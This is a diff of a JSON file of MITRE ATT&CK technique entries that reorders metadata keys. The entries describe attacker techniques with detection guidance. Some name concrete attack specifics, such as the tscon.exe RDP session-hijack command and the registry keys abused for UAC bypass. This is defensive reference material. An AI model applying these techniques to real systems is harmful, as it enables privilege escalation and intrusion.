- "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf"
+ "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf",
+ "value": "Video Capture - T1125"
},
{
"description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n===Windows===\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the C:\\Windows\\System32 directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n===Linux===\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nDefense Bypassed: Whitelisting by file name or path\n\nContributors: ENDGAME, Bartosz Jerzman",
- "value": "Masquerading - T1036",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1036",
- "https://www.endgame.com/blog/how-hunt-masquerade-ball",
- "https://www.f-secure.com/documents/996508/1030745/CozyDuke",
- "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/",
- "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/",
- "https://vms.drweb.com/virus/?i=4276269"
- ],
"external_id": "T1036",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -2513,19 +2503,22 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1036",
+ "https://www.endgame.com/blog/how-hunt-masquerade-ball",
+ "https://www.f-secure.com/documents/996508/1030745/CozyDuke",
+ "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/",
+ "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/",
+ "https://vms.drweb.com/virus/?i=4276269"
]
},
- "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0"
+ "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "value": "Masquerading - T1036"
},
{
"description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs\n\nDefense Bypassed: Anti-virus, Process whitelisting",
- "value": "DLL Side-Loading - T1073",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1073",
- "https://msdn.microsoft.com/en-us/library/aa375365",
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
- ],
"external_id": "T1073",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -2537,17 +2530,19 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1073",
+ "https://msdn.microsoft.com/en-us/library/aa375365",
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
]
},
- "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09"
+ "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09",
+ "value": "DLL Side-Loading - T1073"
},
{
"description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process use of network\n\nRequires Network: Yes",
- "value": "Automated Exfiltration - T1020",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1020"
- ],
"external_id": "T1020",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -2561,17 +2556,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1020"
]
},
- "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9"
+ "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
+ "value": "Automated Exfiltration - T1020"
},
{
"description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "Network Service Scanning - T1046",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1046"
- ],
"external_id": "T1046",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -2587,17 +2582,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1046"
]
},
- "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88"
+ "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
+ "value": "Network Service Scanning - T1046"
},
{
"description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
- "value": "Replication Through Removable Media - T1091",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1091"
- ],
"external_id": "T1091",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement",
@@ -2610,22 +2605,17 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1091"
]
},
- "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4"
+ "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
+ "value": "Replication Through Removable Media - T1091"
},
{
"description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.\n\nContributors: Matthew Demaske, Adaptforward",
- "value": "Remote Desktop Protocol - T1076",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1076",
- "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
- "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
- "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
- "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
- "https://github.com/nccgroup/redsnarf"
- ],
"external_id": "T1076",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -2637,17 +2627,22 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1076",
+ "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
+ "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/",
+ "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
+ "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
+ "https://github.com/nccgroup/redsnarf"
]
},
- "uuid": "51dea151-0898-4a45-967c-3ebee0420484"
+ "uuid": "51dea151-0898-4a45-967c-3ebee0420484",
+ "value": "Remote Desktop Protocol - T1076"
},
{
"description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
- "value": "Scheduled Transfer - T1029",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1029"
- ],
"external_id": "T1029",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -2661,27 +2656,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1029"
]
},
- "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466"
+ "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466",
+ "value": "Scheduled Transfer - T1029"
},
{
"description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)\n\nDetection: There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of Process Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nDefense Bypassed: Windows User Account Control\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Casey Smith",
- "value": "Bypass User Account Control - T1088",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1088",
- "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
- "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
- "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
- "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html",
- "https://github.com/hfiref0x/UACME",
- "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
- "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
- "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
- "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
- "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
- ],
"external_id": "T1088",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -2695,21 +2680,27 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1088",
+ "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
+ "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
+ "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
+ "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html",
+ "https://github.com/hfiref0x/UACME",
+ "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
+ "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
+ "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
+ "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
+ "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
]
},
- "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be"
+ "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
+ "value": "Bypass User Account Control - T1088"
},
{
"description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include Exploitation for Defense Evasion.\n\nFor websites and databases, the OWASP top 10 gives a good list of the top 10 most common web-based vulnerabilities. (Citation: OWASP Top 10)\n\nDetection: Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application logs, Packet capture, Web logs, Web application firewall logs",
- "value": "Exploit Public-Facing Application - T1190",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1190",
- "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
- "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
- "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
- "https://www.owasp.org/index.php/Category:OWASP%20Top%20Ten%20Project"
- ],
"external_id": "T1190",
"kill_chain": [
"mitre-attack:enterprise-attack:initial-access"
@@ -2724,19 +2715,21 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1190",
+ "https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
+ "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
+ "https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
+ "https://www.owasp.org/index.php/Category:OWASP%20Top%20Ten%20Project"
]
},
- "uuid": "3f886f2a-874f-4333-b794-aa6075009b1c"
+ "uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
+ "value": "Exploit Public-Facing Application - T1190"
},
{
"description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Write access to system or domain logon scripts",
- "value": "Logon Scripts - T1037",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1037",
- "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx",
- "https://support.apple.com/de-at/HT2420"
- ],
"external_id": "T1037",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement",
@@ -2749,19 +2742,19 @@
"mitre_platforms": [
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1037",
+ "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx",
+ "https://support.apple.com/de-at/HT2420"
]
},
- "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334"
+ "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
+ "value": "Logon Scripts - T1037"
},
{
"description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture\n\nRequires Network: Yes\n\nContributors: Walker Johnson",
- "value": "Connection Proxy - T1090",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1090",
- "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1090",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -2776,20 +2769,19 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1090",
+ "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea"
+ "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
+ "value": "Connection Proxy - T1090"
},
{
"description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
- "value": "Regsvr32 - T1117",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1117",
- "https://support.microsoft.com/en-us/kb/249873",
- "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html",
- "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
- ],
"external_id": "T1117",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -2803,18 +2795,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1117",
+ "https://support.microsoft.com/en-us/kb/249873",
+ "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html",
+ "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
]
},
- "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a"
+ "uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
+ "value": "Regsvr32 - T1117"
},
{
"description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n===Windows===\n\nExample utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls",
- "value": "File and Directory Discovery - T1083",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1083",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
- ],
"external_id": "T1083",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -2828,14 +2822,26 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1083",
+ "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
]
},
- "uuid": "7bc57495-ea59-4380-be31-a64af124ef18"
+ "uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "value": "File and Directory Discovery - T1083"
},
{
"description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Engame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nDetection: Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Data Execution Prevention\n\nPermissions Required: Administrator, SYSTEM",
